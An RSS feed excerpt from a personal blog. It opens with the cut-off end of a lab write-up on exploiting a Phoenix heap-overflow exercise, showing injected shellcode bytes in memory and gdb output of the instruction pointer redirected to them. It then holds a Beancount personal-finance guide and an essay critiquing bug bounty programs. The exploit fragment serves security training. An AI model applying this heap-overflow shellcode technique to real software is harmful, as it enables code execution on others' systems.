&lt;p&gt;In reality this is just the beginning of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;name&lt;/code&gt; for struct 1&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x7ffff7ef6030:	0x04c0c748	0x48ff511c	0x1111112d	0x41c350ff
0x7ffff7ef6040:	0x41414141	0x41414141	0x41414141	0x41414141
0x7ffff7ef6050:	0x41414141	0x41414141	0xffffe4c8	0x00007fff
0x7ffff7ef6060:	0x00000000	0x00000000	0x00000021	0x00000000
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;After the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;strcpy&lt;/code&gt; call (jumping it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;u&lt;/code&gt;) we see that:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;0x00007fffffffe4c8│+0x0028: 0x00007ffff7ef6030  →  0x48ff511c04c0c748	 ← $rax, $rdi
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The value is set correctly, so now we can once again continue and reach our third breakpoint.&lt;/p&gt;

&lt;p&gt;Here we can see that the overwritten item is on top of the stack, and if we step one instruction:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;stepi

$rip   : 0x00007ffff7ef6030  →  0x48ff511c04c0c748
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rip&lt;/code&gt; now points at our shellcode, continuing the execution will trigger the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;winner&lt;/code&gt; function.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;gef➤  c
Continuing.
Congratulations, you&apos;ve completed this level @ 1656192533 seconds past the Epoch
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The program really crashes after, we could modify the shellcode to include a call to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exit(0)&lt;/code&gt; if we wanted to avoid the crash and be perfectionists.&lt;/p&gt;
</description>
        <pubDate>Sat, 25 Jun 2022 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2022/phoenix-head-zero-one/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2022/phoenix-head-zero-one/</guid>
        
        
      </item>
    
      <item>
        <title>How to manage your finances with Beancount</title>
        <description>&lt;p&gt;For those who don’t know, &lt;a href=&quot;https://github.com/beancount/beancount&quot;&gt;Beancount&lt;/a&gt; is one of the few tools that exist to do the so-called &lt;a href=&quot;https://plaintextaccounting.org/&quot;&gt;“plaintext accounting”&lt;/a&gt;. Plaintext accounting is a way to perform usual accounting tasks with tools that work on plaintext files, and in some occasions (Beancount being one example) using command line tools.&lt;/p&gt;

&lt;p&gt;Some advantages include extreme simplicity in keeping/moving/exporting/transfering/converting the data, since it’s just text in a file. It’s also very easy (and fast) to manage years worth of data and it’s much easier to build additional tooling around such systems, as they do expose some level of API (for Beancount there is a SQL-like interface) and when they don’t, it’s just a matter of manipulating strings.&lt;/p&gt;

&lt;p&gt;Overall, I like to have my entire accounting history one command away in my terminal, I like to be able to easily merge ‘stuff’ from different sources (for example banks) and I am used to edit files efficiently in Vim, so plaintext accounting sounded the right choice for me.&lt;/p&gt;

&lt;h2 id=&quot;how-beancount-works&quot;&gt;How Beancount works&lt;/h2&gt;

&lt;p&gt;The official Beancount &lt;a href=&quot;https://beancount.github.io/&quot;&gt;documentation&lt;/a&gt; makes for sure a better job than I can do to introduce the tool, but I will try to give just a general idea.&lt;/p&gt;

&lt;p&gt;All it is needed to have beancount working is a ‘ledger’ file, this is the file where pretty much everything is: the account definition, the transactions, price updates etc.&lt;/p&gt;

&lt;p&gt;As Beancount is a double-entry bookeeping system, we have accounts for everything, for example your salary might ‘come’ from an account called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;income:mycompany:salary&lt;/code&gt; while the money you spend in plastic dinosaurs will go to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;expenses:hobby:dinos&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;There are 5 types of accounts: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;income&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;equities&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;liabilities&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;expenses&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;assets&lt;/code&gt;. For details on what each account type represents it’s much better to consult the &lt;a href=&quot;https://beancount.github.io/docs/beancount_language_syntax.html#accounts&quot;&gt;related documentation&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Now, in our ledger we will have to:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Declare some options (such as the ledger name, the default currency, etc.)&lt;/li&gt;
  &lt;li&gt;Open the accounts&lt;/li&gt;
  &lt;li&gt;Create a baseline (usually using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;equities&lt;/code&gt;) for the current state of the assets&lt;/li&gt;
  &lt;li&gt;Add transactions&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;A new ledger might look like the following:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;* Options ; Beancount options

option &quot;title&quot; &quot;Test Ledger&quot;
option &quot;operating_currency&quot; &quot;EUR&quot;

; Accounts 

2022-01-01 open Assets:Bank:Personal:Checking EUR
2022-01-01 open Assets:Bank:Shared:Checking EUR
2022-01-01 open Assets:Bank:Personal:Saving EUR
2022-01-01 open Assets:Bank:Personal:Investing EUR
2022-01-01 open Assets:Cash EUR
2022-01-01 open Liabilities:Bank:HouseLoan EUR
2022-01-01 open Income:Salary EUR
2022-01-01 open Income:Bank:Interests EUR
2022-01-01 open Income:Gifts EUR
2022-01-01 open Expenses:Trip EUR
2022-01-01 open Expenses:Food:Groceries EUR
2022-01-01 open Expenses:House EUR
2022-01-01 open Expenses:House:Utilities EUR
2022-01-01 open Expenses:Bank:DebitCardFee EUR
2022-01-01 open Equity:Opening-Balances

2022-01-01 * &quot;Opening Balances&quot; 
    Assets:Bank:Personal:Checking 0 EUR
    Assets:Bank:Personal:Saving 1000 EUR
    Assets:Bank:Shared:Checking 300 EUR
    Liabilities:Bank:HouseLoan -100000 EUR
    Equity:Opening-Balances
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The content should be self-explainatory, but first some options are declared (the name and currency), then there are a few statements that ‘open’ the accounts we want to use, and finally an initial transaction that adds money to our accounts (the last leg of the transaction is to say ‘everytihing comes from equity’).&lt;/p&gt;

&lt;p&gt;From this point on, every transaction will need to balance, money should come from one account (income accounts in general) and should go to other accounts.&lt;/p&gt;

&lt;h2 id=&quot;the-struggle-of-keeping-it-in-sync&quot;&gt;The Struggle of Keeping it in sync&lt;/h2&gt;

&lt;p&gt;Let’s now talk about the problems. Most of the banks offer minimal, if any, tools to export transaction data from their websites. Usually the export is some heavily formatted CSV or some PDF. The problem with keeping a separate ledger then is that every transaction needs to be ‘backported’ to it, which sorts of encourage you to think ‘the hell with it, I will just use the bank’s website’. The problem comes when you start having multiple accounts in possibly multiple banks, some financial institutions (for example some stock broker) etc. If this is the case, then it’s much harder to keep the overview of where money are going (usually we do know where they come from).&lt;/p&gt;

&lt;p&gt;I once read someone writing that ‘inserting transactions should be painful or boring’, the idea being that having to enter every transaction individually in an accounting system helps building awareness of how the money are being spent. I do agree with this to a certain degree, but I want to stress the ‘awareness’ part reducing the ‘I have to type a lot’ part as well.&lt;/p&gt;

&lt;p&gt;Living in Estonia, cash is non-existent for me, which means that every single purchase I do, online or in a store, big or small, is done via a debit/credit card. This translates very concretely in a lot of transactions, which means a lot of typing, which means a lot of temptation to keep the ledger out of sync and use the bank’s website.&lt;/p&gt;

&lt;h2 id=&quot;my-workflow&quot;&gt;My Workflow&lt;/h2&gt;

&lt;p&gt;How do I manage to have an up-to-date ledger (for 2.5 years and counting!) then? Well, part of it is just habit and will, but making the maintance a bit easier helped quite a lot.&lt;/p&gt;

&lt;h3 id=&quot;automation-first&quot;&gt;Automation First&lt;/h3&gt;

&lt;p&gt;Before dealing with everything else, I built some automation. My main account(s) is in Swedbank, one of the major banks in Estonia, and to address the problems described earlier, I wanted the following:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Minimal configuration&lt;/li&gt;
  &lt;li&gt;Ability to digest the CSV as it is downloaded from Swedbank site&lt;/li&gt;
  &lt;li&gt;Ability to automatically associate certain transactions with Beancount accounts&lt;/li&gt;
  &lt;li&gt;Necessity to still enter the transactions somewhat individually to be aware of the expenses&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For this, I built a simple (very simple) tool called &lt;a href=&quot;https://github.com/Sudneo/swed2beancount&quot;&gt;swed2beancount&lt;/a&gt;, which does…well, exactly what I wanted to do.&lt;/p&gt;

&lt;p&gt;Using this tool, it takes approximately 5 minutes to import data from Swedbank accounts into my ledger, and on average I have to specify the account for only 20-30% of the transactions.&lt;/p&gt;

&lt;p&gt;In the final section I will describe what my update routine looks like.&lt;/p&gt;

&lt;h3 id=&quot;regular-updates&quot;&gt;Regular Updates&lt;/h3&gt;

&lt;p&gt;This is trivial, but updating the ledger at intervals very distant from each other will have two main effects for me:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;I will rely solely on automation, too much to check individually&lt;/li&gt;
  &lt;li&gt;More probability of making mistakes and having to debug&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;For me, 2 weeks is the perfect period in between updates. It is short enough that the amount of transactions is usually manageable, but long enough that I don’t need to ‘waste’ a session for just few transactions.&lt;/p&gt;

&lt;h3 id=&quot;use-the-assert-function&quot;&gt;Use the Assert Function&lt;/h3&gt;

&lt;p&gt;Initially I was not even aware of this functionality, and when I became aware of it, I didn’t understand the use of it. That was before a mistake of a sign sent me to a debugging journey into more than year of transactions.&lt;/p&gt;

&lt;p&gt;An assert transaction is a very simple statement such as:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2022-01-05 balance Assets:Bank:Checking    112.01 EUR
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;All it does is stating that at a given date an account has a specific balance. After every update, I always end my ledger with an assertion for the balance of all the bank accounts. This way, whatever happens next, I know that I have to check for errors in at most 2 weeks (or as much time passed from the last update) worth of data.&lt;/p&gt;

&lt;p&gt;The only problem is that sometimes there are transactions that were pending the day that the update was done, or other similar cases. Assertion are always done ‘at the beginning of the day’, so if there are 2 transactions on 5th of January, and 3 the next day, an assertion on 6th of January will count only the first 2 transactions, while an assertion on 5th of January will not count any of those. This is a feature, not a problem, but needs to be taken into account when using assertions.&lt;/p&gt;

&lt;h3 id=&quot;granularity-of-accounts&quot;&gt;Granularity of Accounts&lt;/h3&gt;

&lt;p&gt;When starting with plaintext accounting, it’s easy to go deep into the rabbit hole:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2022-01-01 open Expenses:Trip:Italy EUR
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Becomes:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;2022-01-01 open Expenses:Trip:Italy EUR
2022-01-01 open Expenses:Trip:Italy:Driving:Car EUR
2022-01-01 open Expenses:Trip:Italy:Driving:Fuel EUR
2022-01-01 open Expenses:Trip:Italy:Driving:Insurance EUR
2022-01-01 open Expenses:Trip:Italy:Activities:Museums EUR
2022-01-01 open Expenses:Trip:Italy:Activities:Fun EUR
2022-01-01 open Expenses:Trip:Italy:Eating:Restaurants EUR
2022-01-01 open Expenses:Trip:Italy:Eating:IceCreams EUR
2022-01-01 open Expenses:Trip:Italy:... EUR
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Basically since the system allows for fine-grain accounts, we want order in our lives and we start creating way more details than are needed. I am guilty of this and I have learned my lesson.&lt;/p&gt;

&lt;p&gt;With this, I am not saying that it is &lt;em&gt;wrong&lt;/em&gt; to add details, but that you should add details when you need them. In my case, for example, I had absolutely no use to know that I spent X for restaurants and Y for activities, as it’s not something that can help me plan for the future. Similarly, it’s enough to use transaction descriptions to understand the cost of the car (Rental + fuel + etc.) to decide if next time I would use the train or choose a different car/company/etc.&lt;/p&gt;

&lt;p&gt;The important bit is understanding the tradeoff: more details lead to potentially deeper analysis, but have a higher maintaince costs. Usually the expenses need to be categorized manually, sometimes they will need to be divided into multiple legs etc. If the additional maintance overhead is not giving you any benefit, then it’s clearly not worth.&lt;/p&gt;

&lt;h2 id=&quot;what-an-update-session-looks-like&quot;&gt;What an Update Session Looks Like&lt;/h2&gt;

&lt;p&gt;To conclude this post I want to show what one of my update sessions looks like. As I have mentioned, I will update my ledger every 2 weeks usually.&lt;/p&gt;

&lt;p&gt;My folder structure looks like this:&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;├── importer
│   ├── mappings.yaml
│   ├── account1
│   │   └── config.yaml
│   └── account2
│       └── config.yaml
└── ledger.beancount
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;First, I go to the Swedbank site, and dump the simple CSV for every account I have (usually I take the current year, whatever is faster).&lt;/li&gt;
  &lt;li&gt;Then I move the downloaded CSVs in the respective folders in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;importer&lt;/code&gt; directory.&lt;/li&gt;
  &lt;li&gt;I then edit the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;config.yaml&lt;/code&gt; file with the dates I am interested in. In general I import &lt;em&gt;from&lt;/em&gt; a couple of days before the last import until the present day (leaving it blank works).
  The configuration file looks like the following:&lt;/li&gt;
&lt;/ul&gt;

&lt;div class=&quot;language-yaml highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;na&quot;&gt;ledger&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;../../ledger.beancount&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;mappings_file&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;../mappings.yaml&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;output_file&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;import.beancount&quot;&lt;/span&gt;
&lt;span class=&quot;na&quot;&gt;from_date&lt;/span&gt;&lt;span class=&quot;pi&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;2022-04-01&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;ul&gt;
  &lt;li&gt;Finally, in each account directory I run a command such as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;swed2beancount -a &quot;Assets:Bank:Checking&quot;&lt;/code&gt;
  This command basically is saying to process a given CSV and assume that one leg of the transaction is always the one specified.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The previous command generates an output file (with the name specified), with only the transactions related to the importing period. If any of the transactions has &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UNCATEGORIZED&lt;/code&gt; as account, it means that there was no mapping defined for the amount/date/description/payee. In general, if I know that a similar transaction will happen again in the future, I add a matching rule in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;mappings.yaml&lt;/code&gt; file, otherwise, I just edit the account manually.&lt;/p&gt;

&lt;p&gt;Once the transactions are all complete (all legs are existing accounts), I append this file to the main ledger, I add a comment (such as “Updated on DD/MM/YYYY”) and an assertion.&lt;/p&gt;

&lt;h3 id=&quot;visualizing-the-result&quot;&gt;Visualizing the Result&lt;/h3&gt;

&lt;p&gt;After any update (or whenever I want) I also run &lt;a href=&quot;https://beancount.github.io/fava/&quot;&gt;fava&lt;/a&gt; on my main ledger. This is a web interface for beancount that makes exploring the data quite convenient and visually pleasing.
Fava can automatically update the data when the ledger is modified, so it’s possible to have it running continuously and simply syincing the ledger (through a repository, with a script, etc.), if you want to have your personal dashboard always active.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Beancount, and in general plaintext accounting, allows full flexibility in how you want to manage your finances. Building tooling and automation around open formats is much easier compared to usual banks, and it’s possible to manipulate the data in countless ways. 
Personally, using Beancount has increased my awareness on my expenses and has greatly helped in financial planning and cost saving. Plus, you get the pleasure of Vim-editing your ledger, how cool is that (and of course, a &lt;a href=&quot;https://github.com/nathangrigg/vim-beancount&quot;&gt;plugin&lt;/a&gt; exist)!&lt;/p&gt;
</description>
        <pubDate>Sun, 24 Apr 2022 00:00:00 +0000</pubDate>
        <link>https://coolbyte.eu/2022/beancount-finances/</link>
        <guid isPermaLink="true">https://coolbyte.eu/2022/beancount-finances/</guid>
        
        
      </item>
    
      <item>
        <title>About Bug Bounties</title>
        <description>&lt;p&gt;A bug bounty program is a deal in which companies (usually medium-large) offer rewards (in most cases monetary) to people who responsibly disclose and report bugs or -in the context of this article- vulnerabilities related to their systems or infrastructure.
This phenomena has seen a relatively big increase in the last years and it is expected to grow even more in the &lt;a href=&quot;https://www.alltheresearch.com/report/437/bug-bounty-market&quot;&gt;upcoming 5-10 years&lt;/a&gt;.
In this article, I will try to explore some of the implications of these programs, both from the technical and -most importantly- the political point of view.&lt;/p&gt;

&lt;h2 id=&quot;the-benefits-of-bug-bounties-programs&quot;&gt;The Benefits of Bug Bounties Programs&lt;/h2&gt;

&lt;p&gt;Let’s get this out of the way first. Bug bounty programs have advantages, they provide some benefits that are tangible and cannot be completely ignored.
For companies, they are a way to have bugs reported and disclosed so that they can be fixed, rather than sold and/or abused. The idea is simple: if you have a better (and safer) financial incentive to report the bug compared to selling it on the black market or abuse it yourself, it’s reasonable to think you will do that. This also means that people who accidentally find some bug will have the means to report it without having to worry whether they can get in trouble for it (which used to be the case, and still is, in many instances).&lt;/p&gt;

&lt;p&gt;For security researchers/white hat hackers/security enthusiasts etc., bug bounty programs can become a way to somewhat monetize the activities that would otherwise have been carried out purely as a hobby. In addition to this, such programs allow researchers to play with real systems in a legal way, rather than having to work purely on a lab environment (which makes it arguably less fun).&lt;/p&gt;

&lt;p&gt;Obviously other folks will have additional arguments to add to the list, but I hope that what I listed so far is reasonable enough to demonstrate that my objective in writing this piece is not to fully condemn bounty programs nor declare their futility.&lt;/p&gt;

&lt;h2 id=&quot;the-technical-downsides&quot;&gt;The Technical Downsides&lt;/h2&gt;

&lt;p&gt;Let’s start now analyzing the downsides of these programs. First and foremost, the relevancy of such downsides will depend on how a given company and organization will build the program and, similarly, how an individual performs his or her research; however, I will try to point to some specific factors that cause a negative impact in having (or participating in) a bounty program.&lt;/p&gt;

&lt;p&gt;For companies it is &lt;em&gt;absolutely critical&lt;/em&gt; to have a good disclosure process that allows researchers in good faith to report safely bugs without having to worry for their legal safety and without having to jump through many hoops (usually an e-mail ping-pong with customer support). However, bug-bounties and disclosure programs in general need to be perceived exactly for what they are: a nice-to-have way to have bugs reported, on the part of their systems which is more exposed publicly. 
The problems start when companies will start considering a bug-bounty program as a &lt;em&gt;security control&lt;/em&gt;. I know, not all companies do that, but some do and in addition they are &lt;em&gt;encouraged&lt;/em&gt; to do so.&lt;/p&gt;

&lt;p&gt;Already a couple of years ago I found a picture that was in my opinion representing this exact view:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/bug-bounties.png&quot; alt=&quot;bug-bounties_vs_pentest&quot; /&gt;&lt;/p&gt;

&lt;p&gt;I stumbled across this image in one of the many (too many) low-efforts posts that constitute virtually the total of LinkedIn posts. Of course, this post was created by a company that offers a bug-bounty platform (more on this later), so it’s not surprising that they would advertise their own business.
However, the growing number of platforms that organize bounty programs is trying to create this narrative, that if you create a program you are basically subscribing for a continuous penetration test of your systems, and if that wasn’t enough, you have to pay only when bugs are actually found (and even in those cases, not always!).&lt;/p&gt;

&lt;p&gt;It’s clear that this is absolute nonsense, and a quick Google search will show an even larger number of posts made (usually) by companies that offer penetration tests that stress the opposite arguments (bug bounties are unstructured, partial etc.).&lt;/p&gt;

&lt;h3 id=&quot;a-small-de-tour-about-pentests&quot;&gt;A small de-tour about pentests&lt;/h3&gt;

&lt;p&gt;Allow me a small rant about penetration tests. I have worked in a company that underwent at least 4 or 5 penetration tests in the last years. Usually they lasted a couple of weeks and costed from 10 to 20k Euro. The quality of most penetration tests is abysmal. Some companies call a penetration test having &lt;em&gt;one&lt;/em&gt; guy, possibly not even very experienced, running Nexpose (or similar tools) against your infrastructure, exporting the results to CSV and sending the report to you.
Using &lt;em&gt;this&lt;/em&gt; kind of penetration test to oppose a bug-bounty program is obviously as nonsense as the argument that I discussed earlier (on why to prefer a bug-bounty program).&lt;/p&gt;

&lt;h3 id=&quot;the-technical-reasons-why-bug-bounties-are-inherently-crippled&quot;&gt;The technical Reasons why Bug Bounties are inherently crippled&lt;/h3&gt;

&lt;p&gt;I mentioned earlier that telling a company to &lt;em&gt;prefer&lt;/em&gt; (as in, replace with) bug-bounty programs to penetration tests is nonsense, but I didn’t articulate why. So, here are some of the reasons:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;The scope of a bug-bounty program is obviously limited to the public-facing systems and infrastructure. You don’t provide VPN credential to bounty hunters to test your internal systems.&lt;/li&gt;
  &lt;li&gt;Most of the findings (for reasons that I will discuss shortly to cover the perspective of the hunter) are found through automation, not much differently from how the “pentest” are sometimes carried out by the average security firm. Automation for security audits has its known limitation and it is very rarely sufficient to discover logical bugs that are the result of multiple issues.&lt;/li&gt;
  &lt;li&gt;Bug bounties programs attract script kiddies who learn to write ‘alert(1)’ in every box (often without understanding the result) and also people who are just after money (which is not bad per se, but it is bad when people want the money without the bugs). This I am sure has a fun component (I am sure plenty of reports are hilarious), but it has also some negative consequences for an organization. For example, each report &lt;em&gt;should&lt;/em&gt; (whether this happens or not, it’s hard to say) be validated, triaged, and possibly responded to. This takes time (and is not fun work either) for security professionals that could use their time in a better way.&lt;/li&gt;
  &lt;li&gt;There is hardly any prioritization. Bounty hunters will not focus specifically on high-impact vulnerabilities or systems, and you might get an unbalanced number of reports (and therefore also testing coverage) for low-criticality vulnerabilities in order to get &lt;em&gt;any&lt;/em&gt; bounty, rather than a focus of what would cause actual damage to your organization first.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Once again, all this is not to say that bounties do not have any advantage for organizations, but I want to stress that the erratic and incomplete nature of bug-bounties are not a security control per se. At most, they are a control for the risk “some person outside the company finds a bug in our systems and doesn’t know/has incentive to report it”. That’s it, this is what organizations should aim to address with bounties.&lt;/p&gt;

&lt;h3 id=&quot;the-security-researcher-perspective&quot;&gt;The Security Researcher perspective&lt;/h3&gt;

&lt;p&gt;Now, let’s look at the security researcher perspective. Bug-bounties are sometimes proposed to junior people as a learning opportunity, some occasion to learn tools and techniques. Moreover, they are seen by someone else as a way to make money and finally, for others they are a way to have fun and/or gain ‘street creds’.&lt;/p&gt;

&lt;p&gt;In my opinion, the only valid point is the latter: if you do have fun doing it, it makes sense. If you are in for the money of for the learning component, you are much better off doing something else.
Before taking the pitchforks, allow me to explain. Let’s start from a premise, which is easily verifiable talking with many people who do bug-bounties: most of the bug hunters a) specialize in &lt;em&gt;one&lt;/em&gt; (or maybe a couple) class of vulnerabilities; someone might be specialized in finding XSS, someone else is a sadistic person who likes to experiment with requests smuggling etc., but the bottom line is that usually the recommendation is to get good in one class of vulnerabilities and look only for that. b) Most of the research is automated, at least to filter the scope. Successful hunters rarely work on &lt;em&gt;one&lt;/em&gt; program at a given time, dedicating their full time on that. They will rather work on as many programs as they can in parallel, through automation, and then eventually dig deeper where some interesting or suspicious finding pops up.&lt;/p&gt;

&lt;p&gt;This premise is useful to explain why bounties are a bad (or not optimal) way to learn or to make money. First, while learning it is extremely reductive to focus on one class of vulnerabilities only (for obvious reasons), so if you want to learn, it’s likely you want to cover a broader range of subjects. This wouldn’t be a problem, except for the fact that most real-life systems are too complex, there is too much noise, to practice security testing. Besides, it’s much harder to practice the exploitation/discovery of vulnerabilities on systems that it’s not known whether they are vulnerable or not. It is much more efficient to learn XSS on a lab-scenario, where you do have access to the ‘application side’ as well, rather than just throwing payloads at a system without a proper way to gather feedback or inspect the results (as in, didn’t work because I am doing the encoding wrong or the application is simply not vulnerable?).&lt;/p&gt;

&lt;p&gt;Let’s now talk about the money: searching online it’s not uncommon to find young researchers asking suggestions on how to become full-time bounty hunters or recommendation to complement one’s salary with bug hunting. One thing that all these questions have in common is the amount of people that answer that it’s a terrible investment to do bug bounties with the goal of making money.
The arguments are very simple:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;It is absolutely not guaranteed that you will find a bug.&lt;/li&gt;
  &lt;li&gt;If you find a bug, it is very likely it will be a low (or medium) severity bug.&lt;/li&gt;
  &lt;li&gt;It is absolutely possible that the bug you found has already been reported (and in most cases, this means you won’t get paid).&lt;/li&gt;
  &lt;li&gt;In some cases it will take up to months to get a bug confirmed and the bounty paid.&lt;/li&gt;
  &lt;li&gt;There are many ways to shoot yourself in the foot, and perform some action that -at the discretion of the company- will disqualify you from the program, even if the bug is valid and confirmed.&lt;/li&gt;
  &lt;li&gt;It can take you hundreds of hours to find a single bug.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;Looking at some data published by &lt;a href=&quot;https://portswigger.net/daily-swig/bug-bounty-earnings-soar-but-63-of-ethical-hackers-have-withheld-security-flaws-study&quot;&gt;Portswigger&lt;/a&gt; not so long ago, the bulk of the users of HackerOne (one of the major bug bounties platforms) makes &lt;em&gt;less than&lt;/em&gt; $20000 a year. This is probably the number before taxes (because in the T&amp;amp;C of HackerOne is clearly stated that taxes are your responsibility) therefore it’s reasonable to assume that the actual number is 20-40% lower, somewhere around $15000. Most of the researchers make &lt;em&gt;less&lt;/em&gt; than this, which means that the median is probably lower. According to &lt;a href=&quot;https://www.theregister.com/2019/01/15/bugs_bounty_salary/&quot;&gt;another article&lt;/a&gt; the top 1% of hunters earns on average $35000, to which again, we probably need to subtract income taxes.&lt;/p&gt;

&lt;p&gt;At this point, it really boils down to how much time is invested into this work, and (something that is very often forgotten) the opportunity cost of those hours. Do you have an automated setup which with minimal supervision and work can earn you $10-15k in a year? That sounds a great investment. Are you looking for work and you are thinking of becoming a full-time hunter? Chances are, money-wise you will be earning way, way, way less than you would with a regular (in most cases even part-time) job. Sure, there are some perks, like total flexibility etc., but there is also a high degree of instability. It’s not easy to go to a bank for a mortgage and present your HackerOne profile saying “don’t worry, next year I am doing even better”, especially since -once again- you are competing against a plethora of people who most likely: a) are specialized in different classes of vulnerabilities, and b) have already automated most of the setup, meaning that they will most likely pick the low-hanging fruits, leaving you more complex bugs that require more time. All this doesn’t apply for countries with lower salaries, where $10000 is already a very high salary. I hope that remote work will present those people with even better opportunities, but if that’s not the case, then sure, making bounties in that case can be worth the effort.&lt;/p&gt;

&lt;p&gt;You might also think that finding some bug can be a nice addition to your CV or ‘street creds’. In fact, there are still plenty of programs that “pay” you in “points” or by adding you to some hall of fame.
As a person who participated in the hiring process for security professionals, I believe that a bounty does give you some points, but absolutely nothing that a certificate, a degree or simply a nice conversation where you demonstrate understanding of a given topic doesn’t give as well. It could lead to good consideration if it’s a very complex vulnerability that demonstrates your persistence and technical capabilities in a wide range of topics (chaining multiple vulnerabilities for example, although this is not possible in many programs), but definitely it won’t blow anybody’s mind seeing you discovered some reflected XSS in the search page of a minor website, or 20 XSS in various sites.&lt;/p&gt;

